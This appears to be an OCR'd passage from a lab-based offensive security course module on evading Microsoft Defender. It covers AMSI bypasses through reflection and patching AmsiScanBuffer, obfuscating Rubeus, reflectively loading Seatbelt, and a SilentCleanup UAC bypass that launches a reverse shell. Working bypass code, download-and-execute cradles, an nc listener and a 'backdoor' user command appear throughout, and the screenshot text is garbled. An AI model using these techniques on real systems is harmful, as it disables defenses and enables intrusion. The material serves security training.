PowerShell specifically, since a lot of offensive tools make use of this language, like for
example Invoke-Mimikatz.ps1, which gets blocked when attempting to run it. It may be useful
to imagine AMSI as a way for PowerShell to run signature scans (with Microsoft
Defender Antivirus ) against commands before running them.

11 for new features and improvements! f/aka.ms/PSWindows

How Can We Bypass It (in PowerShell)?

When security researchers mention bypassing AMSI, they are referring to

preventing PowerShell from using the AmsiScanBuffer and AmsiScanString functions.
Bypassing AMSI makes it easier to perform malicious actions, as the commands being
executed do not get scanned.

String Manipulation

An important part of the following few bypasses will be string manipulation. Take a look
at the screenshot below, the string "amsiUtils" triggers a response from Microsoft
Defender Antivirus . By simply splitting the string into two parts ( "amsi" and "Utils"),
or by utilizing base64-encoding, it is possible to sneak past Microsoft Defender

Antivirus.


https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
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Corporation. All ri

11 for new fes and improvements! https://aka.ms/PSWindows

> [System.Text.Encoding]: :ASCII.GetString([System.Convert]::FromBase645tring(

Bypass 1: Setting amsilnitFailed

Looking up the term "amsi bypass" online, we will quickly come across the following tweet
by Matt Graeber from 2016, which contains what is commonly referred to as the first
publicly known bypass for AMSI.

Matt Graeber r” — x\l
@mattifestation \_ rollow )

[Ref].Assembly.GetType('System.Manageme
nt.Automation.AmsiUtils').GetField('amsilnitF
ailed','NonPublic,Static').SetValue($null,$true

25 Retweets 80 Likes ({5} ﬁi Q . % é . s

D 3 11 25 O 80

Matt Graeber @mattifestation - 24 May 2016 v

Replying to @mattifestation
AMSI bypass in a single tweet. :)

~— - o
i)

1 Li 2 \So12

Nowadays, antivirus solutions block this AMSI bypass command when run in PowerShell;
however, the technique still works with some adaption.


https://web.archive.org/web/20180928150337/https://twitter.com/mattifestation/status/735261120487772160
https://twitter.com/mattifestation
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embly.GetType(
).SetValue(

Let's try to understand how this command bypasses AMSI . We can load the referenced
assembly ( System.Management.Automation.AmsiUtils ) into dnSpy, which is a
decompilation tool for .NET programs. To do this, start dnSpy.exe from the
C:\Tools\dnSpy-net-win64 directory, and then load
C:\Windows\Microsoft.NET\assembly\GAC MSIL\System.Management.Automation\v4.0
3.0.0.0 31bf3856ad364e35\System.Management.Automation.dll.

L

File Edit View Debug Window  Help

]

]
[ Wl U « Systemn.Management... » v4.0_3.0.0.0__31bf3856ad364e35 v @ Search v4.0_3.0.0.0_31bf3856... 0O
P
b Organize « MNew folder ==« [ o
b ~
b Winc System32 " Mame Date modified Type Size
i g = This PC 2| System.Management.Automation.dll 127772021 5:30 PM Application exten... 6,286 KB
b ) 3D Objects
P
b [ Desktop
[ Wil = Documents
= ‘ Downloads
b
b o~ == linw on kali
b3 B Music
b Bict
b & &= Pictures
P Syste B Videos
b : _

e Local Disk (C

b (%]
b [ N, Rl B &
b File name: v| MET Executables (*.exe, *.dll, *. ~
b ' E EEt
b

= Cance'

With the assembly open, we can see that it is what PowerShell uses to interact with AMST .


https://github.com/dnSpyEx/dnSpy

Telemetry.Internal
- t

&& content.

ILT amsi_ RESULT;

- num

Sl (o Ll ol ol ¢

eMeth

num

Looking at the ScanContent method specifically, we‘can see that it returns
AMSI RESULT NOT DETECTED if the value of the amsiInitFailed variable is setto true.

g sourceMetadata)

&% content.Index ")7CC ICAR-STANDARD-ANTIVIRUS-TEST-FILE | SH+H*",

RESULT amsi RESULT;

All that this bypass does, is it sets amsiInitFailed to true so that the method
ScanContent will always return AMSI RESULT NOT DETECTED . Regardless that the original
bypass is detected, it is possible to get it working again with minimal changes (such as
string concatenation and changing $true to !$false):

[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils"').GetFie
1ld('amsiInit'+'Failed', 'NonPublic,Static').SetValue($null, !$false)

Although the string "amsiUtils" gets blocked the first time, it is allowed after running our
new version of the PowerShell payload, proving that it bypasses AMSI successfully:



PS C:\Users\Administrator>

Ref].Assembly.GetType( ).GetField(
Lue( =)

Bypass 2: Patching amsiScanBuffer

Looking a bit more at the ScanContent method, we can see that AmsiScanBuffer is called,
and based on the value it returns (stored in the variable num), the variable amsi RESULT is
either setto AMSI RESULT NOT DETECTED or amsi RESULT2, which is the other value
returned from AmsiScanBuffer.

RESULT amsi RESULT2 = Ams:

Context, intPtr, (uint)(content. * 2), sourceMetadata,

iF (1

amsi RESULT = A

amsi RESULT = amsi RESULT2;

According to the documentation, AmsiScanBuffer returns an HRESULT value, which can be
either S 0K or some error code . Based on this description, we can assume that

amsi RESULT is setto amsi RESULT2 when AmsiScanBuffer returns S 0K, and

AMSI RESULT NOT DETECTED when an error code is returned. This means, that if we patch
AmsiScanBuffer so that it always returns an error code, we should be able to bypass
AMST .

Looking up common HRESULT values, we can arbitrarily pick E_FAIL which has the value
0x80004005 .



https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
https://learn.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
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Description
Operation successful
E_ABORT Operation aborted
E_ACCESSDEMIED General access denied error
E_FAIL Unspecified failure
E_HAMNDLE Handle that is not valid
E_INVALIDARG One or more arguments are not valid

E_NOIMTERFACE Mo such interface supported

E_NOTIMPL Mot implemented

E_OUTOFMEMORY Failed to allocate nec ry memory
E_POINTER Pointer that is not valid

E_UMNEXPECTED Unexpected failure

mov eax, 0xB80004005;
ret;

Architecture: %86 @ X64 | Assemble

Assembly

Raw Hex (zero bytes in bold):
B805400080C3

String Literal:

"\ xB8\x05\x40\x00\x80\xC3"

Array Literal:

{|0xB8, Ox05, 0x40, 0x00, ©x80, OxC3|}

Disassembly:

0: b8 05 40 00 80 mov eax, 0x80004005
5: ¢3 ret


https://defuse.ca/online-x86-assembler.htm

With the following PowerShell, we can then load amsi.dl1l, get the address of
AmsiScanBuffer and overwrite the beginning with our shellcode.

-TypeDefinition @"

using System;
using System.Runtime.InteropServices;
public static class Kernel32 {

[DllImport("kernel32")]

public static extern IntPtr LoadLibrary(string lpLibFileName);

[DllImport("kernel32")]

public static extern IntPtr GetProcAddress(IntPtr hModule, string
LpProcName) ;

[DllImport("kernel32")]

public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr
dwSize, uint flNewProtect, out uint 1pflOldProtect);
}
'@;
$patch = [Byte[]] (0xB8, 0x05, 0x40, 0x00, 0x80, O0xC3);
$hModule = [Kernel32]::LoadLibrary("amsi.dll");
$lpAddress = [Kernel32]::GetProcAddress($hModule, "Amsi"+"ScanBuffer");
$lpflOldProtect = 0;
[Kernel32]::VirtualProtect($lpAddress, [UIntRtr]::new($patch.Length),
0x40, [ref]$lpflOldProtect) | -8
$marshal = [System.Runtime.InteropSge&vices.Marshall];
$marshal:: ($patch, 0, $1lpAddress, $patch.Length);
[Kernel32]::VirtualProtect($1lpAddcéss, [UIntPtr]::new($patch.Length),
$lpflOldProtect, [ref]$lpflOldProtect) | :

Running this script using a basic download/execute cradle successfully bypasses AMSI !

PS C:\Users\Administrator>

New-0Object Met.WebClient).DownloadString(

Bypass 3: Forcing an Error

The third way we will look at bypassing AMSI is by forcing an error. Once again, looking
inside ScanContent, we can see two (main) ways that amsiInitFailed can be setto
true legitimately.
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RESULT amsi RESULT2 = Am

1g text = content)

For this to be the case, either AmsiUtils.Init or AmsiOpenSession should fail. Let's take
a closer look at AmsiOpenSession, which is defined inside amsi.d11.We can use a
reverse engineering tool called |DA to do so.

® ca 2

; Exported entry 4. AmsiOpenSession

3 HRESULT _ stdcall AmsiOpenSession({HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession)
public AmsiOpenSession

AmsiOpenSession proc near

test rdx, rdx

jz short loc_188@87CFC

Note: For the purposes of this module, it is not strictly necessary to understand how IDA
works. However, students who are interesting in gaining a deeper understanding are
recommended to take a look at the Introduction to Malware Analysis module.

In AmsiOpenSession, we can see that if the first four bytes of amsiContext ( rcx) are not
equal to "AMSI", then the function will return 6x80070057 .


https://hex-rays.com/ida-free/
https://academy.hackthebox.com/module/227

IDA View-A B8 @ Hex View-1 3 Local Types B=
B
test rcx, rox
jz short loc_l8@ea7CFC
LX)
cmp dword ptr [rcx], "ISMA’
jnz short loc_188@67CFC
® >
cmp gword ptf [rcx+8], @
jz short lof_186@87CFC
i* I
B3
cmp gword ptr [rcx+leh], @
jz short loc_|86@a7CFC
B ® 2
mov réd, 1
maw eax, réd loc_188887CFC:
lock xadd [rex+18h], ea: maw eax, 50878857h
add eax, rad retn
cdge AmsiOpenSession endp
mowv [rdx], rax
jnz short loc_18@@87CF3

100.00% (-207,158) (407,25) CO007CEB& 0000000180007CEBA: AmsiCpenSessiontd (Synchronized with Hex View-1)

Looking up this value, we can see that 0x80070057  is one of the many error code

HRESULT values. This one specifically means "One or more arguments are invalid".

0x8007000E

E_CUTOFMEMORY

0xB80070032

ERROR_NOT_SUPPORTED

The server does not have enough
memory for the new channel.

The server cannot support a client
request for a dynamic virtual channel.

0xB80070057

E_INVALIDARG

One or more arguments are invalid.

0xB0070070
ERROR_DISK_FULL
0x80080001

CO_E_CLASS_CREATE_FAILED

There is not enough space on the disk.

Attempt to create a class object failed.

Since this would mean AmsiOpenSession failed, we know that amsiInitFailed would be

then setto true, which we already know leads to AMSI being bypassed.

We can write the following PowerShell code to carry out this attack.

$utils =

[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils");



$context = $utils.GetField('amsi'+'Context', 'NonPublic,Static');
$session = $utils.GetField('amsi'+'Session', 'NonPublic,Static');
$marshal = [System.Runtime.InteropServices.Marshall];

$newContext = $marshal::AllocHGlobal(4);

$context.SetValue($null, [IntPtr]$newContext);
$session.SetValue($null, $null);

First a 4-byte large buffer is allocated and assigned to amsiContext . Next, amsiSession is
setto null, to ensure the necessary if-branch is taken.

Downloading and executing this script results in AMSI being bypassed as expected.

PS C:\Users\Administrator>

(New-Object Met.WebClient).DownloadString(

Open-Source Software

Introduction

As mentioned at the end of the the Dynamic Analysis section, it is oftentimes the case that
developing custom tooling is not possible due to time and/or budget constraints, and so it is
necessary to rely on open-source software. Naturally, such tools are well-known to antivirus
solution providers, and so they develop signatures to detect them. In this section, we will
look at two different ways to modify open-source software so that Microsoft Defender
Antivirus will not detect them.

Option 1: Manually Breaking Signatures

The simplest, but also most tedious way of getting open-source software past Microsoft
Defender Antivirus is by following these steps:

Compile the software
Use a tool like ThreatCheck to locate which bytes trigger a detection


af://h1-35
af://h2-36
af://h2-37
https://github.com/rasta-mouse/ThreatCheck

Modify the source code accordingly

Repeat until the binary is undetected

As an example, let's see how this process would work with the well-known tool Rubeus. Let's
copy C:\Tools\Rubeus to C:\Tools\Rubeus-0bf and open the projectin Visual Studio.
There will be a popup about the target framework being no longer supported - select the first
option and click Continue.

Target framework not supported

The C# project Rubeus targets MET Framework 4.0, which is no longer supported. While you can
change your target framework at any time, for stability and security we recommend that you moveto a
recent supported release,

(®iUpdate the target to .MET Framework 4.8 (Recommended;

(") Download .MET Framework 4.0 targeting pack (opens in browser)

(") Do not load this project

[] Remember my choice for this operation Continue

Once everything loads, we can switch from Debug to Release mode, and build the project.
This will generate a file inside C:\Tools\Rubeus-0bf\Rubeus\bin\Release . Now, let's use
ThreatCheck to see what gets flaggedby*Microsoft Defender Antivirus.

C:\Tools\Rubeus-0bf\Rubeus\bin\Release> C:\Tools\ThreatCheck-
master\ThreatCheck\ThreatCheck\bin\x64\Release\ThreatCheck.exe -f
.\Rubeus.exe

First Attempt

In this case, it seems like Microsoft Defender Antivirus has a signature for one of these
" ticket " variables.


https://github.com/GhostPack/Rubeus
af://h4-38

EN Administrater: Windows PowerShell

PS C:\Tools\Rubeus-0Obf\Rubeus\bin\Release> C:
k.exe .\Rubeus .exe

slelslelslstels) tAddress-_print_
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erStats - GetADOb]
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ets-saveTickets-
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PS C:\Tools\Rubeus-0Obf\Rubeusibin\Release>

One easy bypass we can try is replacing the string ticket with another and then checking if
the program is still detected (and if it still works). By hitting [Ctrl] + [Shift] + H inside
Visual Studio, we can bring up the Replace in Files: window which will let us replace
strings in the entire solution. In this case, we can go ahead and replace ticket with

tekcit and hit Replace All.

g system;
g System.Collections.Generic;
g System.IO;
g System.Text;
Find and Replace

ce Rubeus
Findin Files Replace in Files

ass Program
ticket

tekcit

Match case
Match whole word
Use regular expressions

Preserve case

Lookin Entire solution
ing file {
Include external items
TextWriter r¢

¥ | Include miscellanepus files
TextWriter r

Fil bV OB\ A
Fhr) iletypes  Mbin\™!™obj\% MY

writer. Al Append Results
Console. |
@ No issues found | &~

MNew Window
it

j output from:  Build
ld started at 12:15 PM...
Build started: Project: Rubeus,
Rubeus -> C:\Tools\Rubeus-Obf\Rubeus\
= Build: 1 succeeded, @ failed,
Build completed at 12:15 PM an Replace Mext Replace All

Find Previous Find Mext Skip File

Once done, there will be a popup window saying how many occurences were replaced. We
can close this, rebuild the solution and run ThreatCheck against it once more to see if it still
gets flagged.

Second Attempt
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EN Administrator: Windows PowerShell = O *

\Rubeus\bin\Release» C:\Tools\ThreatCheck-master\ThreatCheck\ThreatCheck\bin\x64\Release\ThreatChejd

Based on the output, the good news is the variables don't seem to trigger a detection

anymore, but the bad news is something else did. In this case, it would seem like we could
try replacing all instances of the string " Key " with something else like we did with "
ticket ", however that would break the software since built-in functions like ContainsKey
also contain this string.

E pac = true;

LUID luid = new LU
p.KERB_ETYPE er N HERB_ETYPE . subkey_keymaterial;
p.KERB_ETYPE suppEncType rop.KERB_ETYPE . subkey_keymaterial;

g proxyUrl = null;
] service null;
L nopreauth = arguments.ContainsHey("

if (arguments ContainsHey[ 1)
s
L9
string[] parts = arguments["/user"].Split('\\');
if (parts.Length == 2)
{
domain = parts[e];
user = parts[1];
}

else

) Keep Results 3 Lis epeat Find

, outfile, ptt,
., outfile, ptt, dc,

As an alternative, let's focus on the last string which appears in the bytes, "
DiffieHellmanKey". We can bring up the Find in Files window in Visual Studio by
hitting [Ctrl] + [Shift] + F, enter" DiffieHellmanKey " and click Find All to figure
out where this is in the code.



Find "DiffieHellmankey”
All Files Path then File

tio bin

4 CATools\Rubeus-0Obf\Rubeus\lib (10}
4 crypta\dh (5)

4 DiffieHellmanKey.cs (3)
i DiffieH

Diff
DiffieHelln
4 KDCKeyAgreement.cs (5)
DiffieHellma
rPubli

) Repeat Find

ring().DepadLeft(}.PadRig

Based on the output, we can see a file called DiffieHellmanKey.cs . Opening it up, we can
rename the DiffieHellmanKey class to DHKey by right-clicking the name and selecting

Rename .

DiffieHellmanKey.cs & > Asktgt.cs
[ Rubeus

Program.cs
. S —

Kerberos.NET.Crypto

iCc € AsymmetricHeyType {
Public,
Private

DiffieHellm

EMENCEs . ]
ic AsymmetricKeyT

ic HeyAgreementAl -

ic DateTimeOffset

HeyLength

Go To Implementation

rberos.NET.Crypto.DiffieHellmankey

rhannaollow

ons and Refactorings...

and Sort Usings

Alt+F12
F12
Alt+Home

Ctrl+F12

Call Hierarchy

After renaming the class to DHKey , let's rebuild the project and scan it once more with
ThreatCheck . This time, the bytes that triggered a detection contain " Rubeus ", some

copyright information and a GUID.

Third Attempt


https://www.techtarget.com/searchwindowsserver/definition/GUID-global-unique-identifier
af://h4-40

8 Rubeus.exe Properties

- 15 11 ) r General Compatibility Securty Details  Previous Versions
00 06 00 11 : (

Be 11 ] . .
- Fa el 59 : * Property Walue

Description
File description  Rubeus
Type Application
File version 1.0.0.0
Product name
Product version  1.0.0.0
Copyright Copyright © 2018
Size 452 KB
Date modfied ~ 5/5/2024 2:56 PM
Language Language Mewtral
Criginal flename Rubeus exe

sYRubeus-0Obf\Rubeus\bin\Releasex»

This is part of the project's assembly metadata, which can be viewed in the Details tab
when viewing file properties in Windows, and the GUID is a so-called Typelib GUID. These
are supposed to be unique, so they are commonly used when detecting malicious software.
For example, this YARA rule meant to detect Rubeus only checks for two conditions:

That the file begins with the bytes 4D 5A ( DOS \MZ Executable file header)
That the TypeLib GUID from the public Rubeus project is present in the file

rule HackTool MSIL Rubeus 1
{
meta:
description = "The TypeLibGUID present in a .NET binary maps
directly to the ProjectGuid found in the '.csproj' file of a .NET project.
This rule looks for .NET PE files that contain the ProjectGuid found in
the public Rubeus project."

md5 = "66e0681a500c726ed52e5ea9423d2654"
rev = 4
author = "FireEye"

strings:

$typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase
wide
condition:
uintl6(0) == 0x5A4D and $typelibguid


https://www.virusbulletin.com/virusbulletin/2015/06/using-net-guids-help-hunt-malware/
https://en.wikipedia.org/wiki/List_of_file_signatures

With that in mind, we will want to change the GUID to something random. We can generate
a new GUID with the following PowerShell command:

C:\Tools\Rubeus-0bf\Rubeus\bin\Release> [GUID]: :NewGUID()

Guid

0fb06558-5168-4398-a791-fad485f417325

Next, inside Visual Studio we'll want to select Project > Rubeus Properties and then
Application > Assembly Properties. Here, we can update the GUID to the one we just
generated, hit 0K, rebuild the solution and scan it with ThreatCheck once again.

Rubeus + X

Application
pp N/A
Build

Build Events Assembly name: Default namespace:

Debug Rubeus ‘ |Rubeus

R Target framework: Qutput type:

MET Framework 4.8 ~ Console Application ~
Settings Auto-generate binding redirects
Reference Paths Startup ohject:

(Not set) ~ Assembly [nformation...

Fpme Assembly Information T X
e e Specify how application resources will be managed:

(® Icon and manifest i |RLIbELIS |
A manifest determines specific settings for an appli Description: | |
your project and then select it from the list below.

- Company: | |
|(Defau|t lcon) Product: |Rubeus |
Manifest: Copyright: |C0pyright © 2018 |
|Embed manifest with default settings

Trademark: | |
R file:

) Mrieiils Assemblyversiun:|1 ‘ |D | |D ‘ |D |

File version: |1 ‘ |D | |D ‘ |D |

GUID: [DFbDﬁSSS-Sﬂ 68-4398-a791 -fa485f4f7325] |

Meutral language: |(Nnne] v|

[ Make assembly COM-Visible

N-th Attempt

Continuing this process of gradual modifications based on the output we get from
ThreatCheck , we will eventually end up with a copy of Rubeus which does not get detected
by Microsoft Defender Antivirus. The process is the same for every other tool, but the
individual steps may vary.
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EN Administrator: Windows PowerShell O *

\Rubeus‘\bin\Release> C:\Tools\ThreatCheck-master\ThreatCheck\ThreatCheck\bin\x64\Release\ThreatChejd

Rubeus-0Obf\Rubeus\bin\Release>

Option 2: Reflectively Loading Assemblies in
PowerShell

Let's look at another way we can get open-source software past Microsoft Defender
Antivirus, this time using PowerShell to get Seatbelt running completely in-memory .

Since PowerShell and C# both make use of the.NET Framework, it is possible to load C#
assemblies into memory in PowerShell and then interact with them as any other object.
This can be done without writing any files to disk, and combined with an AMSI bypass
makes for a very powerful technique. For example, let's say we have a C# assembly which
has a namespace called Example , which contains a class called Program, which contains a

method called Main . We could load the assembly and execute this method in PowerShell
like so:

$bin = @(<SNIP>);
::Load($bin);
::Main();

Let's copy C:\Tools\Seatbelt to C:\Tools\Seatbelt-PS, and open the projectin Visual
Studio. In order for PowerShell to be able to interact with methods from reflectively-
loaded assemblies, they need to have public visibility. In our case, we'll need to open
Program.cs and change the Main method from private to public.


https://github.com/GhostPack/Seatbelt
af://h2-42

atbelt.Program
System;

Seatbelt

id Main(string[] args)

tbelt(args));
sb.Start()};

¥
catch (Exception e)
{

Console.WritelLine($"Unhandled terminating exc

}

With that done, we can switch from Debug to Release mode and build the solution. This will
generate a file inside C:\Tools\Seatbelt-PS\Seatbelt\bin\Release.When we write our

PowerShell script, we will need to store this assembly in a variable, so let's use CyberChef
to compress and encode it with GZIP and Base64 respectively.

Recipe om B Input ot D =

Gzip MZ.\.ILE’T.\..\J.\.‘.EDI\..\;.\.‘.Y)".I.I.‘I.I..'I..'I..'L.'I..'L.'I..'I..:Q'\..\..D\J.\..\:.\..\;.'\..\..\..\'J.\..\:.\..\a.\..\.. File details
UL UL KL NUEWLL KU WL KU HUL ML FUL SUL RULNUL NUL FUL UL RUL ® NULHULYUL 50 us @ 50 NuL I! sulI!This
RN P program cannot be run in DOS mode. cs ce
E)H\‘rn‘a;r-\-icuﬁuhf;‘ma.‘. Filename (optional)  Sp——— S p— " | SRR, T SRS, SN S ——
wonuwo i o meowws vovoud@eoe s LNULMULNULACKNULNULNULNULRUL NLNUL
wudh LT GLRL UL TOLL @ RS MULHULULL NN LDLEN LN ML
Comment (optional) [ include file checksum it vt L oL ONULHULHULAGL ® L QNN LWL WL NV LN MU NN ML AL NN NN L
WU FF WU UL WU UL KU WL UL L UL LU UL WU VUL UL UL UL N UL U UL UL KU UL UL L UL N WU N WU UL UL UL UL R
NULNULNUL WUL UL SULNUL SULNUL NULNULNULNULNULNUL  NULWUL ES NULNULNULNULSULNULYULSULNULNULsuL g5 st oo s
To Base6d suusucwucsusue, fextuonond [ JLSTRRULMULKULNILMULKULULSU L. suve | N@mes  Seatbelt.exe
T . PSP O ENa UL RN ® L™ WULNULKUL UL UL UL SUL R L st s B, Size: 615,936 bytes
Alphabet . @ reloCsue Fe vutsucsucsue NULNULST wuLvuLsuLKuLvuLsuL s v sucsussucsusvuBro e Bru Type: application/vnd.mi
A-Za-zB-9+/= oL O oo | wosseowsucHieomswestosera s DOstow { ¥ackvussoasusse crosoft.portable-ex
wuVuLwu LNUL UL NUL NUL UL NUL UL SUL UL ML NULNUL N UL NUL SUL SUL VUL SULNULSULNUL UL NULSLNUL UYL ecutable
wuLkuLsULMULKUL s kUL suLsuc e R st (oL Loaded: 100%
* r
mc 515536 = 9497 Tr Raw Bytes &= LF

Output a0m::

H4STAF5GOWYA/+39BZyV1RY3AD/ nORUTTBBDht TAKCE1CEOFUhKK15JIKzB4ht JxdJCwsLtBBNrdDYoZV4+wMULX2xrXx+6/YT88Z

With our compressed and encoded Seatbelt assembly prepared, we can begin writing the
PowerShell script which will load and execute it. First off, we can prepare a function called
Invoke-Seatbelt which takes one string argument (which we will later pass to Seatbelt)
and contains the compresed and encoded Seatbelt assembly we prepared earlier.

function {
[CmdletBinding()]


https://gchq.github.io/CyberChef/#recipe=Gzip('Dynamic%20Huffman%20Coding','','',false)To_Base64('A-Za-z0-9%2B/%3D')

Param (
[String]
$a rgs = n n

# Seatbelt.exe -> Gzip -> Baseb64
$9zipB64 = "<SNIP>";

Before we are able to load the assembly, we need to convert it back into its original bytes, so
we can add the following lines to decode and then decompress the $gzipB64 variable.

<SNIP>
# Baseb64 decode
$gzipBytes = [Convert]::FromBase64String($9zipB64);

# Gzip decompress

$gzipMemoryStream = New-Object IO0.MemoryStream(, $gzipBytes);
$g9zipStream = New-Object
System.IO0.Compression.GzipStream($gzipMemoryStream,
[I0.Compression.CompressionMode]: :Decompress)y
$seatbeltMemoryStream = New-Object System.I0.MemoryStream;
$gzipStream.CopyTo($seatbeltMemoryStreamy)’;

<SNIP>

With the assembly bytes back-in their original form, we can add the following lines to load
the assembly reflectively, redirect STDOUT to the console and then invoke the Main method
with the arguments passed to the Invoke-Seatbelt function.

<SNIP>

# Load assembly reflectively

$seatbeltArray = $seatbeltMemoryStream.ToArray();

$seatbelt = [System.Reflection.Assembly]::Load($seatbeltArray);

# Redirect assembly STDOUT to console
$01ldConsoleOut = [Console]::0ut;
$StringWriter = New-Object IO0.StringWriter;
[Console]::SetOut($StringWriter);

# Call main method
[Seatbelt.Program]::Main($args.Split(" "));

# Reset STDOUT
[Console]: :SetOut($0ldConsolelOut);
$Results = $StringWriter.ToString();


https://stackoverflow.com/a/33128025

$Results;
<SNIP>

The script works as is, however it will get flagged by AMSI, so a bypass is necessary before
attempting to load it. One important thing to keep in mind is that the type of AMSI bypass
used matters in this case. If we attempt to use the first bypass we looked at, which sets
amsiInitFailed to false, then we get a strange error message when attempting to call
Invoke-Seatbelt.

EN Administrator: Windows PowerShell = O x
F | ).GetField(

ject Ne en DownloadString(
Invoke-Seatbelt L

It may not seem like it at first, however this error happens because AMSI detects the .NET
assembly when we call [System.Reflection.Assembly]::Load() . This happens,
because this specific AMSI bypass utilized only disables AMSI for the PowerShell session.
So with that in mind, we need to pick a bypass which patches amsi.d11, such as the
second one we looked at. After making this switch, we can see that we got Seatbelt
running relatively simply with Real-time protection turned on.
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WebClient;

> $wc.DownloadStrin
> Invoke-Seatbelt
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User Account Control

Introduction to User Account Control

In Wwindows , every securable object is assigned an integrity level so that access can be
controlled. The possible values are:

Low , which is mainly used for internet interactions
Medium , which is the default level
High , which indicates elevated access

System, which is the highest possible level

Securable objects with a lower integrity level can not access objects with a higher
integrity level, but access is allowed in the reverse direction.

An access token is an object which describes the security context of a process,
including its integrity level . Every user logon session is assigned an access token with
a medium integrity level called a standard user access token.When an
administrator logs in, they are assigned an additional access token with a high
integrity level (called a administrator access token), but they still operate with the
standard user access token by default.

Simply put, User Account Control is a Windows security feature, which manages elevation

between access tokens.When a user attempts to perform an action which requires a
higher integrity level, they are prompted by User Access Control . Depending on
the way User Access Control is configured, as well as if the user is an administrator,
the prompt may or may not ask for credentials.
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User Account Central * User Account Control bt
Do you want to allow this app to make Do you want to allow this app to make
changes to your device? changes to your device?
= DiskPart = DiskPart
Verified publisher: Microsoft Windows Verified publisher: Microsoft Windows
Show more details Show more details
To continue, enter an admin user name and password.
Yes No
Administrator

EVASION-DEV\Administrator

Yes Mo

From an attacker's perspective, bypassing User Access Control means

elevating integrity levels when having control of an administrative user, but no GUI
access. For example, let's say we have a reverse shell as maria whois an

administrator . Because the process is running at a medium integrity level, we would
be blocked by User Access Control when attempting to add a new user with the net
user command.

L— kali® kali)-[ =
nc -nvlp 8080

listening on [any] 8080 ...

connect to [ ] from (UNKNOWN) [ 1 49705
whoami

PS C:\Tools\RShell\RShell\bin\x64\Release> whoami
evasion-dev\maria

whoami /groups

PS C:\Tools\RShell\RShell\bin\x64\Release> whoami /groups

GROUP INFORMATION

Group Name Attributes

Everyone Well-known group 0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group Group used for deny only

BUILTIN\Administrators Alias k Group used for deny only

BUILTIN\Users Alias Mandatory group, Enabled default, Enabled group
BUILTIN\Performance Log Users Alias K Mandatory group, Enabled default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group Mandatory group, Enabled default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group Mandatory group, Enabled default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group Mandatory group, Enabled default, Enabled group
NT AUTHORITY\This Organization Well-known group Mandatory group, Enabled default, Enabled group
NT AUTHORITY\Local account Well-known group K Mandatory group, Enabled default, Enabled group
LOCAL Well-known group 0 Mandatory group, Enabled default, Enabled group
NT_AUTHORITY\NTLM Authentication Well-known group 0 Mandatory group, Enabled default, Enabled group
Mandatory Label\Medium Mandatory Level Label

net user backdoor Backdeer! /add

PS C:\Tools\RShell\RShell\bin\x64\Release> net user backdoor Backd@@r! /add

System error 5 has occurred.

Access is denied.

This is a situation where we would have to bypass User Access Control.

How Can We Bypass It?

So how do we go about bypassing User Access Control ? It turns out that there are a lot of
ways to do this, so we will focus on two of the most common ones according to this
research article by Elastic:



https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies
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» UAC Bypass via DiskCleanup Scheduled Task Hijack
» UAC Bypass via FodHelper Execution Hijack

&

VAL Bypana - Malcious Sampien

Note: Everything in this section will be done with Real-time protection enabled.

Bypass 1: DiskCleanup Scheduled Task Hijack

The first bypass we will cover is one which was discovered in 2017 by James Forshaw from
Google Project Zero. SilentCleanup is a scheduled task which is configured on Windows
by default. The interesting thing about this scheduled task, is that it may be started from a
process with a medium integrity level, and then automatically elevates to a high
integrity level since the "Run with highest privileges" option is enabled.

(5 Task Scheduler (Local) A

> 5 Tesk Scheduler Lib Mame StatuslTriggus Mext Run Time  Last Run Time Last Run Result Author
v [ask Scheduler Library
v [l Microsoft (® SilentCleanup: Ready A 4 3/24/2024 2:29:35 AM  The operati d successfully. ((x0) Microsoft Col
> [ OneCore
> [ VisualStudio
< >
v [ Windows \ h

[] .NET Framework

[] Active Directory Rights Ma
[ ApplD

(] Application Experience
| ApplicationData

] AppxDeploymentClient
] Autochk

[ BitLocker

(] Bluetooth

] BrokerInfrastructure

[ CertificateServicesClient
[ Chkdsk

[ Clip

[ CloudExperienceHost

] Customer Experience lmpr
[ Data Integrity Scan

[] Defrag

] Device Information

General Tligge‘rs Actions Conditions Settings  History (disabled)

Marne: |SilentCIeanup

Location:  \Microsoft\Windows\DiskCleanup

Author: Microsoft Corporation

Description: | Maintenance task used by the system to launch a silent auto disk cleanup when running low on free disk space.

[ Device Setup

(] Diagnosis

[ DirectX

| DiskCleanup

| DiskDiagnostic

[ DiskFootprint

[1 EDP

F] EnterpriseMgrmt

[ ExploitGuard

[ File Classification Infrastru v
e =

Security options
When running the task, use the following user account:
Users

Run only when user is logged on

Run whether user is logged on or not

Do not store password. The task will only have access to local resources

I " Run with highest privi}egsl

Hidden Configure for: |Windmrs&!w!r2022 w

Therefore, if we can control what SilentCleanup does, we can elevate to a high
integrity level without triggering a prompt from User Account Control. Taking a look


https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html
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at what SilentCleanup does, we see that it starts the program
"swindir%s\system32\cleanmgr.exe" with some arguments.

MName Status  Triggers Mext Run Time Last Run Time Last Run Result Author
i® SilentCleanup  Ready 3/24/2024 2:29:35 AM  The operation completed successfully. (x0]  Microsoft Col
£ >

General Triggers Actions  Conditions Settings  History (disabled)

When you create a task, you must specify the action that will cccur when your task starts, To change these actions, cpen the task
property pages using the Properties command,

Action Details

Start a program Sewindirie\systemn32\ cleanmgr.exe fautocleanstoragesense /d %svstemdriv...l

Since the path of the program to be launched includes the environment variable %windir%,
we can modify this to control the program SilentCleanup launches in order to bypass User
Account Control. Let's imagine we have placed RShell.exe in C:\Windows\Tasks\ . By
setting %windir% to the following (mind the space at the end):

cmd.exe /K C:\Windows\Tasks\RShell.exe <IP> 8080 & REM

The path of the program to be launched would become:

cmd.exe /K C:\Windows\Tasks\RShell.exe <IP> 8080 & REM
